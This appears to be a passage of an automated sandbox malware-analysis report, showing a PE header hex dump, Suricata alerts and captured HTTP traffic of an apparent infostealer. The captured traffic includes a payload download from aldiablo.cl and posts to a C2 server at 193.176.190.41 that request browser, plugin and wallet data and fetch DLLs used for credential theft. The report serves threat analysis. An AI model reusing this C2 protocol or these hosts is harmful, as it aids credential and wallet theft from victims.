00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /karu/l2.exe HTTP/1.1Host: aldiablo.clCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.190.41Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKFHost: 193.176.190.41Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 39 38 38 34 44 43 35 34 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 72 79 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="hwid"769884DC54231817704571------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="build"cry------FBKKFBAEGDHJJJJKFBKF--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 193.176.190.41Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 2d 2d 0d 0a Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="message"browsers------DBKEHDGDGHCBGCAKFIII--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJKHost: 193.176.190.41Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="message"plugins------AKKKECBKKECGCAAAEHJK--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDHHost: 193.176.190.41Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="message"fplugins------FHIJJJKKJJDAKEBFIJDH--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJHost: 193.176.190.41Content-Length: 7267Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/sqlite3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDBGHCBAEGCBFHJEBFIHost: 193.176.190.41Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJEHost: 193.176.190.41Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 193.176.190.41Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file"------IIIJECAEGDHIDHJKKKKF--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 193.176.190.41Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="file"------AAKKKEBFCGDBGDGCFHCB--
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/freebl3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/mozglue.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/msvcp140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/nss3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/softokn3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/vcruntime140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGIHost: 193.176.190.41Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFHHost: 193.176.190.41Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="message"wallets------HJJKJJDHCGCAECAAECFH--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 193.176.190.41Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="message"files------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 193.176.190.41Content-Length: 127803Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 193.176.190.41Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="message"ybncbhylepme------DGHIDHCAAKECGCBFIJDB--
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHHost: 193.176.190.41Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJKJJDBKEGIECAAECFH--

Source: Joe Sandbox View	IP Address: 186.64.114.115 186.64.114.115
Source: Joe Sandbox View	IP Address: 193.176.190.41 193.176.190.41

Source: Joe Sandbox View

ASN Name: AGROSVITUA AGROSVITUA

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49733 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49734 -> 186.64.114.115:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49734 -> 186.64.114.115:443

Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41
Source: unknown	TCP traffic detected without corresponding DNS query: 193.176.190.41

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: global traffic	HTTP traffic detected: GET /karu/l2.exe HTTP/1.1Host: aldiablo.clCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.190.41Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/sqlite3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/freebl3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/mozglue.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/msvcp140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/nss3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/softokn3.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /9e7fbd3f0393ef32/vcruntime140.dll HTTP/1.1Host: 193.176.190.41Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: aldiablo.cl

Source: unknown

HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKFHost: 193.176.190.41Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 39 38 38 34 44 43 35 34 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 72 79 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 